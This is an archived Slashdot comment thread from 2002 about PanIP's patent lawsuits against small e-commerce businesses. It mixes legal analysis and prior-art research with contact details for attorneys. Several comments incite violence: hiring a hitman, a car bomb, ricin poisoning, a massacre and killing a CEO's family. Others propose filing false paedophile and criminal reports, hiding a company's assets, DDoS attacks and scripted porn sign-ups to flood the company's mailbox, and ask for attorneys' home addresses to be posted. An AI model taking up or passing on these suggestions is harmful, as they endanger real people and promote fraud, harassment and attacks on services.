And for those that would rather call, including some attorneys with no email address (What's up with that? Hello, 2002? Hello?)

BUCHACA, JOHN D. & HENRI CHARMASSON
1545 HOTEL CIRCLE SOUTH
SUITE 150
SAN DIEGO, CA USA 92108
619-294-2922

Kathleen M. Walker
3421 Thorn Street
San Diego, California 92104
Phone Number: 619-255-0987
Fax Number: 619-255-0986
kwalkerlaw@cox.net

Luce Forward Hamilton Scripps
Phone: (619) 236-1414
Fax: (619) 232-8311
600 West Broadway, Suite 2600
San Diego, CA 92101

And finally, their technical advisor:
CHI Research Inc.
10 White Horse Pike
Haddon Heights, NJ 08035 USA
Phone (856) 546-0600
Fax (856) 546-9633
email: info@chiresearch.com

Re:Let them know where we stand!

[Graspee_Leemoor]

What proof do we have that this is true? It would be really funny if some individual got fired from the company and just wanted to get even.

Some other post above questioned if this whole story was a troll, and I agree- be cautious. None of the patents on the web site seem to be in anyway as general as the story suggests (As someone already pointed out).

I am just saying- find out the truth before you go postal on their ass.

graspee

Re:Let them know where we stand!

[Trekologer]

The whole website looks like its straight from one of the many MLM scam spams I've received lately, especially the page on Choosing a Stock Portfolio Based on Patent Indicators.

Not to mention that the web site is sooo 1996...

this kind of subject...

[blamanj]

requires two new moderation categories. IANAL -1 and LegalOpinion +1.

Boo hoo

[realdpk]

"We're giving in to the evil PanIP company like several other companies have, oh Slashdot, won't you feel sorry for us?"

If you don't defend yourself against this abuse, _you are part of the problem_. Slashdot cannot help you, especially since you've already decided to settle. <constructive>If it isn't too late, call the EFF, perhaps they can help.</constructive>

(-3, Flamebait)

Re:Boo hoo

[NoMoreNicksLeft]

Easy for you to say. You don't have to worry about losing the business, and not being able to feed your family.

I'm all for telling small non-athletic women to stay out of dark alleys at midnight in the bad part of town. But when they get raped in daylight, I don't blame them for not being able to fight back either.

Also, if I ever get a chance alone with the sick **** of a rapist like that, they will be missing reproductive organs when I leave. This also applies to the patent attourneys in this case. Someone needs to post their home address here.

Re:Boo hoo

[realdpk]

Yeah, but now that they've caved in (and announced it to the world that they don't have a backbone), the floodgates are opened, for them anyways.

I still stand by my "boo hoo" - they're part of the problem if they don't fight this.

IANAL, but...

[Cowculator]

there's a term to describe this: barratry.

Here's a definition from the Bernard Shifman is a Moron Spammer (I know, but it was the first reference that came to mind):

n. creating legal business by stirring up disputes and quarrels, generally for the benefit of the lawyer who sees fees in the matter. Barratry is illegal in all states and subject to criminal punishment and/or discipline by the state bar, but there must be a showing that the resulting lawsuit was totally groundless. There is a lot of border-line barratry in which attorneys, in the name of being tough or protecting the client, fail to seek avenues for settlement of disputes or will not tell the client he/she has no legitimate claim.

If this PanIP company is seriously pursuing this sort of patent, this seems like good grounds for a countersuit...

Re:One way out of this...

[BrookHarty]

Whoa, we dont believe in terrorism around here..

-
Your either with us, or against us.. - Bush

Somebody patent the 'Scumbag' and make them stop!

[Bobzibub]

(Oh my Got its Canadian) Patent for the self service terminal indeed! I suppose that this would cover ATMs..
http://patents1.ic.gc.ca/details?patent_nu mber=118 9973&language=EN_CA

I'm glad they're going public. Good luck to him!

-b

Well isn't that special

[srhuston]

So their patent applies to using a form to gather customer information.

Having a look at PanIP's website, they list "PricewaterhouseCoopers" as their accountants.

Interesting that at This Link, PricewaterhouseCoopers has... well lookit that, a form where you enter your information so they can contact you.

Wonder if they made their own accountants pay them for their (non)intellectual property.

Wierd...

[AcidDan]

Google search for 'PanIP' and 'Patents'

http://www.google.com/search?hl=en&q=PanIP+paten ts

results in zero returned results...

Their website looks very crummy too - are you *sure* they are a legitimate business? I mean it's *very* hard to escape google's search with *zero results*.

You might just scare them off if you go "see you in court".

-- Dan "who is off to look up USPTO on PanIPs patents now..." =)

Re:Wierd...

[Chris Parrinello]

This kinda bugged me too so I decided to go to the State of California website and do a lookup to see if the company was actually registered. It was.

PANIP, LLC Number: 200207410071
Date Filed: 3/12/2002
Status: active
Jurisdiction: CALIFORNIA
Principal Address
1168 VIRGINIA WAY LA JOLLA, CA 92037
Agent for Service of Process
WILLIAM G WILHELM
1168 VIRGINIA WAY LA JOLLA, CA 92037

The date filed part is interesting... the principal address and the agent for service of process entries might just be the address for their lawyer however.

If anybody is feeling really interested, you can pay to get copies their records which I'm sure list the names who is actually running the company from the same website.

3 words:

[PepsiProgrammer]

Software patents suck

Patenting a form of user input for a website, is about as stupid as patenting a a method to swing on playground equipment, but as we can see, they both held up at the patent office, the fact that such stupid patents as 'playground swinging methods' have been accepted by the patent office, obviously shows that the whole system needs to be overhauled

Sounds Like a Story for Sixty Minutes

[ackthpt]

When they do a decent job they can get access you can't. I'd at least take a swipe at it, since this got my hackles up and seems like the kind of story they could run.

Contact info

Organize!

[corebreech]

Get all the little companies who are at risk from these filthy blood-sucking parasites to pool their resources and sue them back under the rock from whence they came.

How many businesses use web form entry? 1,000,000? If you just get 10,000 to kick in a $1000 each you'll have these dogs back to licking their balls clean in no time.

Not working...

[karlm]

Something's wrong... I clicked on the PanIP link 5 times and the site is still up and running. I usually can't click on a front page ink once before the site goes down. What gives?

rmercado37@yahoo.com

[aaarrrgggh]

Any company using a yahoo account as contact information for a corporation is going to have a tough time proving that they invented e-commerce!

No worries here.

[juuri]

Just check the info on these guys. They exist solely to sue other people, it appears to be a very small (maybe even one person) company. They have very few internet resources (using a yahoo email address? web hosting company), fax number isn't concurrent with phone meaning they can't even afford a block of numbers, poor office location, etc...

Re:My patent

[ncc74656]

I've patented breathing air while programming.

Is this true?

I guess it's sad that I even have to ask...

:(

Better hope Despair doesn't nail you for trademark infringement for your post...:-)

Shutdown your business

[Cyno]

And refuse to do business with countries that grant patents.

Re:Counter sue:NONO SETTLE!

[t0qer]

The article make's one important point, if PANip succeeds in making these 10 settle, the lawers will have 300k or so.

Since M$ is %90 of the content deliver market, they're breaking panIP's patent %90 of the time.. Who knows maybe they'll go after them next.

Counter sue

[MongooseCN]

If this patent really is ridiculous, then why not take them to court? It may cost you some money at first, but if you win you can counter sue them. Then you can use that money you get from the counter lawsuit to cover all your previous legal fees. Unless someone stands up to these people they will keep suing companies and getting more and more powerful from doing so.

The answer is obvious

[ninewands]

Your company should pool resources with the other 30 or so victims and sue to invalidate the patents and for damages.

As for ANYone claiming to have invented anything having to do with the use of text, images and forms on the internet for ANY purpose, I think Tim Berners-Lee and the people at CERN might have a little tiny bit to say about *cough* prior art *cough*.

Re:The answer is obvious

[geekoid]

there patent reference pre-dates the WWW by several years.
however, it does not pre-date ATMs, which would be a far better example of prior art, since it is actually, prior.
originally, this patent was for the travel industry and financial industry who, at the time, used leased line.

NOT "digital extortion" - just plain old extortion

[Compulawyer]

This tactic is not confined to the patent/IP area. It unfortunately is inherent in our adversary system. Someone with a questionable claim asserts that claim in the court against an adversary they know cannot devote the time or the resources to fight on the merits. So a rational business opts for the economically sound decision - get out of it as cheaply as possible, i.e., settle.

With patents, however, asserting a patent known to be invalid is an ANTITRUST VIOLATION. The opposing party can get treble damages plus attorneys fees. Also, if the case is not well founded, the patent statute (specifically 35 U.S.C. sec. 285) allows a judge to declare the case "exceptional" and award attorneys fees to the prevailing party. Infringement defendants use this provision to recoup defense costs of patent cases that are not well founded.

Also, because patent cases are EXCLUSIVELY federal, the Federal Rules of Civil Procedure, spoecifically Rule 11, requre attorneys to certify that cases filed are well founded. The Court of Appeals for the Federal Circuit, which has exclusive jurisdiction over appeals of patent cases, has held in View Eng'g v. Robotic Vision Sys., 208 F.3d 981 (Fed. Cir. 2000) that Rule 11 requires an attorney to "read the claims onto an accused device." The process of reading claims means that you identify each element of the claim in the patent and then find a corresponding feature in the device you accuse of infringement. Rule 11 allows judges to sanction parties who fail to do that step.

Unfortunately, competent patent counsel are few and far between. I have seen cases brought by sole practitioners who spend their days doing personal injury work and have no concept of patents or the technology of the invention. This is how many frivolous suits get filed - by practitioners who do not take the time to learn the law and advise their clients properly. Also unfortunately, the only way to end it is to stomach it out and fight to the end to invalidate the patent. The words "legal defense fund" come to mind here.....

Banding together...

[neema]

For everyone suggesting that they band together, I believe they have taken the first few steps. The link from the question (labeled "more details") leads you to a site with a bunch of defendants. Namely, listed here.

Furthermore, I took a look at the patents (admittedly, only the abstracts), and while not as depicted as explained, still very vague and very obviously a stragety, not an actual protection of IP. First and second.

Looking at the abstract for the former of the above listed, I have a few qualms (besides with the whole thing entirely). The claim that they can have an infinite number of variations in the abstract (actually, on a quick search, they go into further details in the summary of the invention), it doesn't seem to me that what you're implementing can possibly be infinite. Note, I certainly ANAL (yet), but it just seems out of place.

Moving on to the second patent and it's respective abstract... it seems to me that such a patent had to be filed before September 11, 2001 (when the patent was made, hell throw that in your closing speech) as it seems the way it's described in both the abstract and summary of invention is very much alike to many implementations set forth by other companies, not just internet, but stores as well.

Good luck with that all. Open up a donation bin. I, for one, will throw in.

R.I.C.O. or street justice

[Zen Mastuh]

Racketeer Influenced Corrupt Organizations Act, that is. IANAL but if the act does not apply here, it certainly needs to be amended to cover this situation. PanIP is the latest in an endless chain of corporations that demonstrate exactly why we need to forever forget the silly laissez-faire pipe dream and start playing hardball with corporations. Once white collar types start seeing the inside of prisons or their buddies (other CEOs) get the chair, then they might be concerned about ethical practices.

In the meantime, someone needs to DDOS the fuck out of PanIP. Forget "Ask Slashdot", try opening the yellow pages or searching google to find someone to kill the CEO's wife and kids, or just opening the blue pages of your phone book and looking up your friendly local U.S. Attorney. Good luck!

Re:R.I.C.O. or street justice

[Wonko42]

Osama? Is that you?

Previous lawsuits and the Supreme Court....

[jsimon12]

Maybe a lawyer out there can comment on this, but seems the owner of the patent has filed many other suits on some of his other patents (including ones against American Airlines).

http://www.ipcreators.org/SC/Kearns/kearns_amicus. htm

Also some intersting notes like the this:

PatentEnforcement Fund (PEF) is a company that fund patent litigation. Didn't know such a thing existed.

Re:Anti-SLAP laws

[www.sorehands.com]

You are mostly correct. Defamation is is one of the most popular causes of action when bringing a SLAPP suit. I would argue that any cause of action can be used to brign a SLAPP suit.

Look at Petswearhouse case where trademark is being used as a claim. The same thing that Terminex's parent used.

Re:My patent

[tps12]

Note that I use the noseless smiley, which is unencumbered by trademarks. I recommend you do the same. To convert all your legacy smileys, try out Denoser.

PanIP's Patent not Applicable

[Bob9113]

From the abstract of Patent No. 5,576,951:
Organizational hierarchies of data sources are arranged so that an infinite number of sales presentation configurations can be created.

This patent has nothing to do with your barbecue and plumbing site. Since your server has a finite life span, it is only capable of producing a finite number of sales presentations. Frankly, I think that a system capable of producing an infinite number of anything is quite impressive and worthy of patent protection.

Actually PriceLine would be better.

[TheViffer]

If you read through the entire patent you will see that it is higly geared toward the travel business. Priceline fits the patent.

Some Investigation results...

[AcidDan]

Lawrence B Lockwood is a name that appears on the patents... note this summary from http://www.law.emory.edu/fedcircuit/mar97/96-1168. html

Lawrence B. Lockwood appeals from the final judgment of the United States District Court for the Southern District of California, Lockwood v. American Airlines, Inc., No. 91-1640E (CM) (S.D. Cal. Dec. 19, 1995), granting summary judgment in favor of American Airlines, Inc. In that summary judgment, the court held that (1) U.S. Patent Re. 32,115, U.S. Patent 4,567,359, and U.S. Patent 5,309,355 were not infringed by American's SABREvision reservation system, and that (2) the '355 patent and the asserted claims of the '359 patent were invalid under 35 U.S.C. 102 and 35 U.S.C. 103, respectively. Lockwood v. American Airlines, Inc., 834 F. Supp. 1246, 28 USPQ2d 1114 (S.D. Cal. 1993), req. for reconsideration denied, 847 F. Supp. 777 (S.D. Cal. 1994) (holding the '115 and '359 patents not infringed); Lockwood v. American Airlines, Inc., 877 F. Supp. 500, 34 USPQ2d 1290 (S.D. Cal. 1994) (holding the asserted claims of the '355 patent invalid and not infringed); Lockwood v. American Airlines, Inc., 37 USPQ2d 1534 (S.D. Cal. 1995) (holding the '359 patent invalid). Because the district court correctly determined that there were no genuine issues of material fact in dispute and that American was entitled to judgment as a matter of law, we affirm.

so there you go: already after a few searches I've found out that 3 patents are already not wirth anything: http://www.panip.com/patents.htm ('115, '359, '355)

-- Dan "who has limited knowledge of law, but can surf the web" =)

Re:Some Investigation results...

[tlk nnr]

> so there you go: already after a few searches
> I've found out that 3 patents are already not
> wirth anything:
> http://www.panip.com/patents.htm
> ('115, '359, '355)

I think you are too quick:

The entire patent '359 is invalid, and some claims of patent '355 are invalid.
Patent '115 was not infringed by American Airlines, but that doesn't means that the patent is invalid.

But your main point is correct, it seems that they list patent '355 on their website, but the court held "the '355 patent invalid under 35 U.S.C. 102(b)". And the appeals court agreed, and it seems that the case was not sent to the supreme court.

tough one...

[Lumpy]

So, does your company cave in on every legal threat? I was phycologically damaged by your companies combination of gas supplies and BBQ supplies... I'll sue you for 40 billion! but... I
'll settle out of court for $5,000.00.

This is the SAME exact thing.I strongly suggest yanking their chain. start with a return letter asking for a copy of their pantents, and a list of companies currently licenseing it. (spelling I know) then ask again what do they want as you dont understand how you can be violating any patents.. continue this until they file an actual lawsuit, every time denying it and you dont understnad what they are complaining about or what they want.

when they finally get it to court (if they do... odds are they wont) you have TONS of prior art to show.

dont cave in... unless you want to cave in to every scumbag and con-artist that tried this...

Yes, these people are con-artists... no doubt about it.

Oh yeah... IANAL or even someone that understands the drivel out of a lawyers mouth... (I also believe the world would be a better place if all lawyers were systematically hunted and killed.)

HTTPS! QUick before they take it down!

[Anarchofascist]

https://www.panip.com/index.htm

Check it out! Quick, before they take it down.
Very weird, very confusing...

Re:HTTPS! QUick before they take it down!

[niola]

Looks like some kind of scam organization to me...

Re:HTTPS! QUick before they take it down!

[toriver]

The SSL server certificate is issued to a company called Verio Inc., any info on them?

Re:HTTPS! QUick before they take it down!

[toriver]

No, that was the info Opera got out of the certificate when it warned me that the server's certificate's domain didn't match the site's domain.

Re:HTTPS! QUick before they take it down!

[Yottabyte84]

Yes, but you must know who verio is....

The RAMBUS Boomerang!!! READ!

[ackthpt]

From this morning's USA Today article: "The Federal Trade Commission is preparing an antitrust lawsuit against once-highflying computer-chip maker Rambus, people familiar with the case say."

In a nutshell, the FTC is likely to bar Rambus from collecting royalties on SDRAM and may go so far as to bar royalties on DDR.

WHOOMP!! There it is!

Maybe contact the FTC on this matter, couldn't hurt, it's only a toll free call and some elevator music, but bad patents seem to be getting their attention at last.

We too, were targeted by leeches.

[Anonymous Coward]

Ah, I am *so* sympathetic to your case!

A few years ago, a small company I worked for was targeted by some leeches like this, who had filed what our lawyers called a "submarine" patent, which is that they had an old patent, on a vague technology, and updated the filing to try to fit it to Internet terms.

They then started going after small companies such as ours, with the hope, just like PanLeeches that the smaller companies would lack the resources to properly fight them, and would just suck it up and pay the licensing fee.

Well, we didn't have the money, but we sure as hell weren't going to be bullied by these jerks. So we got a *really* good patent attorney, and it took about three letters from him, and the leeches disappeared.

In the end, it cost us a couple thousand dollars to fight it, but it was worth every cent. We never went to court because we established very early on that 1) we were *not* going to be push-overs, and 2) we hired *good* counsel, and that perception of losing to us in court was worth them leaving us alone to go pick on someone else.

Good luck to you in your cause. These freaks should be thrown to the wolves.

After reading the patent.

[geekoid]

This patent is way to overly broad, and wouldn't hold water in court.
prior art would include ANY electronic data retrival device. Cash register, that are hooked into bar code readers, ATMs, relational database,etc...
My avice, seek a lawyer, perferable with other companis these low lifes have gone after.
Hit them with SLAPP where applicable.

Give me a break!

[OYAHHH]

Dude,

Get yourself a decent lawyer. Per the complaint (and the specific patent information) you have posted on your website those guys don't stand a chance!

For example, in their Patent material they talk about customers dialing into the described system. Do all of your customers dial up to get to your website? Well, I looked at your website and I don't use a dialup system.

Also, all of the patent information is related to the travel industry. You are in the plumbing business. A good lawyer will find holes in their "argument(s)" big enough to drive an 18 wheeler through.

Per what I saw their patent is very specific in nature. They goofed up by not making it as general as possible. All you gotta do is review the patent for the business steps (logic) they propose and find where your business differs.

IANAL, but my understanding of patents are that they relatively easily gotton around. I believe you merely need to show how you have created the same thing but in a different manner.

Otherwise, for example, how could say Ford and GM compete with essentially the same "gadgets" in their automobiles. They do it by merely doing the same thing in a different manner.

Do a little research on the web on patents (www.findlaw.com is a good place to start) to prime yourself. And then go out and spend a couple of thousand on a lawyer. Stop wasting time, you're probably gonna have to do it regardless. It will be well worth your time.

BTW, I'm no fan of lawyers, but when you need one then it's best to just buckle up and get one rather than wasting time. It can save you a lot of pain and agony in the end.

Alternative to Lawsuit

[Thalia]

You can try to initiate a Reexamination of the patent by the PTO. You can initiate a reexamination by paying a fee (currently $2,520 for ex parte and $8,800 for inter partes) and sending a brief including references to the PTO. Ex parte means that you are not involved in the process beyond the initiation. Inter partes means that you are involved in the process, and can file responses. You should send some really good references that have not been cited by the Examiner (not listed on the face of the patent.)

You can usually find someone who is willing to help you with the first few steps of the process at least for less than $30K. And I do agree with the above posters, you should band together with the other companies that have been sued. You can at least work together on the first few steps (finding references & writing the initial brief.)

Thalia

Re:Alternative to Lawsuit

[Thalia]

If they have sued others under this patent, then you may also want to contact those companies (American Airlines et al.) They probably did a prior art search, and a thorough evaluation of the patent scope. You may be able to obtain copies of their work.

Thalia

Re:Alternative to Lawsuit

[Thalia]

You could make that assumption, but the income differentials are sufficiently large that it makes no sense. (Something on the order of 300X more money comes in from applications than from reexam requests.) A better theory is that the PTO gets a lot more applications than they can handle. Unfortunately a large percentage of their income in taken into the "general" fund, and they simply cannot hire enough competent examienrs. (They're hiring, if you feel masochistic.)

Oh yes, and they pay folks with CS degrees ~$35K to start, to live in DC. Odds that they'll get competent examiners at that salary are between slim and none.

Thalia

Another patent suit by the owner.....

[jsimon12]

Here is a patent suit by the owner of the patents that PanIP claims. It is a good read because American Airlines was found to not be infringing because they were not using ALL the features the patent was for.

http://www.kentlaw.edu/student_orgs/jip/patent/loc kwood.htm

All joking and attempting to dispute the patent aside it might be worth a look to see if your company is violating everything in the patent, if not you can get off (though I am no lawyer).

incompetent

[Darth_Burrito]

I thought this was hilarious.

From panip website:
http://www.panip.com/legal-disclaimer.ht m

Accordingly, the information on this website is provided with the understanding that the authors and publishers are not herein engaged in rendering professional advice or services. As such, it should not be used as a substitute for consultation with competent advisors.

Don't use their weapons...

[software_non_olet]

... from the way they have build their website, they are preapared to fight lawsuits (or at least they threaten to do so). That's their strong position presumably.

Their weakness: public opinion and everyday reasoning and they don't seem to have any international patent.

If you cannot bring together enough money and support to fight them in court, consider as options

a) move

host your site outside the US and inform as many politicians as possible about the fact that you have to move your site away from the States because of unfair patent-laws and practices.

b) get support from IBM

spend 30,000 on an IBM E-commerce server. Make sure your contract with IBM says, that E-commerce is free from patents and royalties of third parties and that IBM will take care of any legal fights. Perhaps IBM will rent you an E-commerce system for 1 $ a year, if they are presented with this case? Even if you use the IBM machine only as portal or proxy to your existing site, to avoid extensive restructuring of your data and software...

c) enjoy

Laughter will kill them. Try funny, public responses. Like the response of the Marx Brothers when they were threatened by a big "--- Brothers" company. Imagine what some good writers and designers can do with this case for your image (and against theirs) with just some couple of bucks. It's a chance to play David against Goliath. And then don't forget to inform us slashdotters too, we are all in favour of a good laugh.

The answer is obvious.

[NoMoreNicksLeft]

You can't afford more than the $30,000. And the $30,000 is probably even a "just barely". So spend it, and remove your problem.

However, don't spend it on a license fee. Over a period of a few months, withdraw that money as cash, perhaps for a petty cash funds, something that is hidable. Then, hire a hitman.

$30,000 should buy one death, and maybe even up to 2-3 deaths, should the asassin plan these things during one of their "patent fucking" meetings.

I am semi-serious. They are no longer petty thugs trying to steal your extra cash, these people are extorting a sum of money large enough to cause serious pain to a small business. They are the modern day equivalent of vikings running roughshod through your village raping and pillaging... asking them to stop, or asking some other power to intervene simply isn't going to do the job.

And as for the usual "the USPTO is really screwed up, it needs fixing" mutterings... when will you people learn that the system can't be fixed. This isn't something that is 98% ok, and needs to be tweaked, this is apparently ruining some peoples lives, whether you realize it or not. How many jobs were lost, when they had to pay $30,000 each in blackmail, rather than hire some techs to do a server upgrade, etc? And they aren't the only ones pulling stunts like this.

Kill the fuckers. Just be careful, and don't get caught. Or at least, make sure your lawyer picks me when it comes time for jury selection.

Re:The answer is obvious.

[Beliskner]

Kill the fuckers. Just be careful, and don't get caught

A business in this position has a number of choices:

Agressive
Hire a hitman - this is unfortunately the most practical option if your probability of getting caught is zero *sigh*. Most practical method is a car bomb. *Nobody* checks the underside of their car before getting in. Invite him to pay him the money personally, and then poison him, the check will bounce. Find information about Al Qaeda poisons like Ricin here
Group with the other injured companies and take him on together - Many have suggested this.
Hire a lawyer on a no-win no-fee basis - Just find some prior art and stick it in your lawyer's face.
Hit 'em back - inform the District Attorney that they are causing defamation to your company and to the public interest by threatening to sue for non-existant issues on Patents that are VOID, then show the DA your prior art. Just the threat can make this company back off of you. Also claim that the head of the company stated he would kill you and your family if you didn't pay and that he had *secrets* about your company. State no witnesses e.g. in the Mall. This will hit him with criminal charges and blackmail.
Hit 'em back dirty - dig some dirt up on the person suing you. If him or anyone in his family is a Doctor or teacher, then report them as a paedophile to the AMA/Teachers' Association anonymously. You can always do it non-anonymously and then say, "Oooh, I must have been mistaken"
Be a true stars'n'stripes American - walk into their offices with a couple of machineguns and a few grenades. Massacre all of them.

Defensive
Cut your losses - bankrupt your company by giving yourself a personal bonus for "good performance" which equals the balance of your company (careful, don't do this illegally). Tell all your employees that you're reassigning them. Lock up your office, move your equipment elsewhere and then register a new company (preferably LLC) and take on your previous employees. This should be <<$30,000
Move - move your company to Mexico or Canada. You should be immune there.

If your adversary is an LLC (which would be the wise choice for a company like that) then a counter-suit will accomplish nothing as the boss probably gave the money to himself as soon as he sued the other companies. A bankrupt LLC is a stronger adversary than Micro$oft.

Re:The answer is obvious.

[Lonath]

Although, after you bankrupt the company, you need to tell all of your employees they got fired because their Congressman allows people to patent pure thought. And that's why everyone got fired. So, if they don't like it, they should write their congressman and bitch about the government letting people run them out of business for patenting pure thought.

Then, the owner should take the money from the business and use it to warn all other businesses that people are out there patenting pure thought, and they should encourage the congressman to fix the stupid system.

Wait just a second

[SuperHighImpact]

The abstracts associated with the two patents are below. I got them from PanIP's website. They don't appear to be nearly as vague as using "text and images as a method of business on the Internet" or using "form[s] to enter customer information." Maybe they are bogus and maybe the company is too, but I sense a bit of exageration on the part of the poster.

Automated sales and services system

A system for composing individualized sales presentations created from various textual and graphical information data sources to match customer profiles. The information search and retrieval paths sift through a hierarchy of data sources under multiple operating programs. The system provides the means for synergistically creating and displaying customized presentations in a convenient manner for both the customer and salesperson to achieve a more accurate, efficient and comprehensive marketing presentation. Organizational hierarchies of data sources are arranged so that an infinite number of sales presentation configurations can be created. Multiple micro-programs automatically compose the sales presentations initiated by determinants derived from customer profile information, sales agent assessment data and operator's entries including the retrieval of interrelated textual and graphical information from local and remote storage sources. A similar system can be used for filing applications with an institution from a plurality of remote sites, and for automatically processing applications in response to each applicant's qualifications. Each multimedia terminal comprises a video screen and a video memory which holds co-related image-and-sound-generating information arranged to simulate the aspect and speech of an application loan officer on the video screen. The simulated loan officer is used to acquire personal loan data from the applicant by guiding him through an interactive sequence of inquiries and answers.

Automatic business and financial transaction processing system

A system for filing applications with an institution from a plurality of remote sites, and for automatically processing said applications in response to each applicant's credit rating obtained from a credit reporting service comprising a series of self-service terminals remotely linked via a telephone line to a first computer at the institution and to a second computer at the credit reporting service headquarters. Each remote terminal comprises a video screen and a video memory which holds image-and-sound-generating information arranged to simulate the aspect and speech of an application loan officer on the video screen. The simulated loan officer is used to acquire loan request data from the applicant by guiding him through an interactive sequence of inquiries and answers. The terminal is programmed to acquire credit rating data relating to the applicant from the credit rating service, and to use the data to compute the credit worthiness of the applicant and the amount which may be loaned to him. The approved loan information is then transmitted to the first computer for further processing by the financial institution.

Get EFF to help sue the USPTO!

[MadCow42]

Isn't the USPTO liable for the damages it causes by recklessly granting frivolous patents such as those you mention?

Sure, they're a government agency, but they ARE doing harm by granting these patents. They ARE costing businesses money, and probably end up making some go bankrupt trying to fight these crap patents (or through paying silly license fees).

Can't they be sued for gross negligence or something similar... A good suit like that would go a LONG way towards stopping the endless stream of crap that they've granted.

Just my non-lawyerly $0.02.

MadCow.

Solution to frivolous lawsuits

[shucknet]

There is one SUREFIRE solution to frivolous and ridiculous lawsuits such as these.

It is simply to require the plaintiff to pay the defense's legal fees if the defense wins or the case is dismissed before it even makes it to court. The problem is that right now, if someone brings a lawsuit against another party, there is very little risk involved for the plaintiff. Law firms will take on crazy suits at no cost to the plaintiff on the off-chance that they will actually win and get a large enough settlement to make a profit overall or hope that the defendant will offer a settlement (even though they know they would win in court) less than their legal costs in order to "save" money. The latter is the scam that PanIP is trying to pull. This solution would stop them in their tracks.

If the losing plaintiffs were responsible for the incurred defensive legal fees, lawyers would not be so eager to take just any potential lawsuit. Claims would actually be researched and thought out before they were introduced into our legal system to waste our time, tax dollars, and business income.

If you think this is a good idea and are tired of wasting your money because of the lawsuit lottery, then write your congressman and encourage him to support an initiative such as this which would make plaintiffs responsible for the legal fees they incur.

Lawrence B. Lockwood....

[Chris Parrinello]

I did some searchs on the filer of the patents included on PanIP's website and found this interesting federal court decision .

Basically Mr. Lockwood tried to sue American Airlines over their SABRE system using the '359 patent and the district court found that SABRE did not violate the patents due to prior art (like the fact that SABRE has been around since 1962). The linked decision is an appeal that Mr. Lockwood made to the federal appeals court that was rejected. Worth a good read to see how it would apply here.

Lawyers are your only choice

[Qrlx]

Welcome to America, Dickson Supply Company. You are doing business, and now you are being sued. It goes with the territory. I'm sure this is not the first time you have been sued, so dust off the rolodex and call your local legal professional.

Your website looks pretty slick, did you build that yourself or was it outsourced? Maybe you should "pass on the savings" by suing your web designer for delivering as their own product a website rife with illegal, unlicensed IP. Seems like those "Powered by LivePerson" guys all over your website are the ones liable, not you.

Is your site being hosted locally, or is the whole thing outsourced? If the e-commerce portion of your site depends on some third-party vendor to process credit cards, then you should sue them for providing services that they were not licensed to provide. My guess is NaBanco has more lawyers than PayIP.

In either case your lawyers should be able to convince a judge that you are not the culpable party.

I've been trying to find a bright side to settling. Lets say you do decide to license their invention for $30,000. Just make sure that your license agreement is perpetual, and that the licensor (PayIP) will assume all liability for any future claims should PayIP's patents be found to infringe on someone else's patent. Only problem is, that won't be worth much once they go out of business. Maybe you should get their patent put into escrow as a shield against them going out of business. Again, it's a worthless patent so why bother.

You have to fight this one. With lawyers. It's really not that uncommon to be the victim of a frivolous lawsuit, but you should still stand up. $30,000 gets you enough lawyer time for this case to be dropped.

Unless, of course, you are selling airline tickets at video-disc terminals, then you might want to pay their licensing fees.

I wonder if the PayIP has approached Orbitz or Travelocity or PriceLine.com with these patents...could be a gold mine!

What I suggest...

[bani]

1) Patent examiners get paid some (low) base rate for examining a patent.

2) Patent examiners get paid a bonus for each case of prior art they find which invalidates the patent

3) Patent examiners get paid a bonus if they reject a clearly frivolous/and or obvious patent.

4) Patent applicants are fined for filing clearly fraudulent patents.

5) Repeat offenders of 4) are sentenced to prison terms.

Re:What I suggest...

[gweihir]

1) Patent examiners get paid some (low) base rate for examining a patent.
[...]
5) Repeat offenders of 4) are sentenced to prison terms.

I like this! Rewarding the examiners for good work should be even better than punishment.

And they could add public contests like "Hunt-the-prior-art" for those where they find none.
Of course the prize money would have to be paid by the applicant, with a cut for the USPTO.

Me Too

[mrseth]

I worked for a small but profitable mom and pop computer supply company and was good friends with the owner. He was included in a lawsuit against ASUS by LG Electronics for patent infringement for no other reason other than he happened to be the closest ASUS dealer to the Alexandria, VA courthouse. The cheapest lawyer he could find cost him $50,000US. The original judge ruled very rationally that there was no reason he should be named in the suit and dismissed him. Then LG asked for a change of venue to California and that judge reversed the decision, so his lawyer returned asking for another $50,000. This basically destroyed his business and he was forced to file chapter 11 and now he is in debt up to his ears as many clients who owed him never paid him and he is stuck trying to eek out a living doing odd jobs.

I really think something needs to be done about this sort of thing...

A glance at the source code...

[dr00g911]

These PanIP guys are so 'l33t and have been in this business innovating for so long that they use super-proprietary WebBot(R) technology on their website!

--<snip>--

<!--webbot bot="Include" U-Include="navbar.htm" TAG="BODY" startspan -->

--</snip>--

Someone should alert Microsoft that Frontpage is in clear violation of....

Oh, never mind...

let them speak on /.

[Lwood_at_COG]

I sent the following letter to an address on their page:

Dear Sir
I'm extremely offended to see the types of things your company is doing, as described on Slashdot.org, here:

http://slashdot.org/article.pl?sid=02/05/13/1914 22 1&mode=thread&tid=155

Your strongarm tactics against small businesses are a disgrace. Why don't you come play ball against corporations that can afford to defend themselves against your ridiculous patent claims?

I suggest you respond to the story on Slashdot.org and present your side of it.

Your actions are a true insult to the spirit of mutually beneficial commerce and free enterprise.

Disgusted,
John E. Francis

I think its payback time. Script kiddies AWAY :-)

[crovira]

You know that's exactly what I was predicting when the Papent Orifice started with this software patent stupidity.

Some vulture would go around and shake people down who'd setlle rather than go to court. Court costs money, okay the loser pays, and court costs time and you can't get a second back once its gome. Not even Bill Gates can buy it back. That's what this scum, these lawyers, are counting on.

Okay, I think its about time to increase their bandwidth requirements.

Wadda you say we suck their home page down a few hundred million times? I'm looking at the source an it sucks so bad that it has to have been spewed out by some fool using M$ FrontPage.

How about if we stuff their mail box full of porn. Wait. We don't even have to do it. We could register them on almost every porn site on the planet with some php scripts.

Notice that they don't even have a real address on their WhoIs records. Just a mail box. They don't dare show their butts in public. They KNOW they're slime.

According to http://www.panip.com/corpinfo.htm its supposedly:

PanIP
329 Laurel Street
San Diego, California
92101-1630 USA

Personally I wouldn't hold out much hope that its anything more that a sham office. The contact supposedly is using rmercado37@yahoo.com for his email.

Their IP address is 209.61.179.88
Whois Server Version 1.3 reports:

Domain Name: PANIP.COM
Registrar: BULKREGISTER.COM, INC.
Whois Server: whois.bulkregister.com
Referral URL: http://www.bulkregister.com
Updated Date: 07-feb-2002

E. D. G. E., Inc.
P. O. Box 712911
San Diego, California 92171
US

Administrative Contact and Technical Contact are both:
info@edgeinc.org

EFF ---- Contribution ----

[LordKariya]

Go make your annual contribution to the EFF. Don't wait.

It's a con - move on, move on.

[seizer]

Somewhat suspect company, for the following reasons:

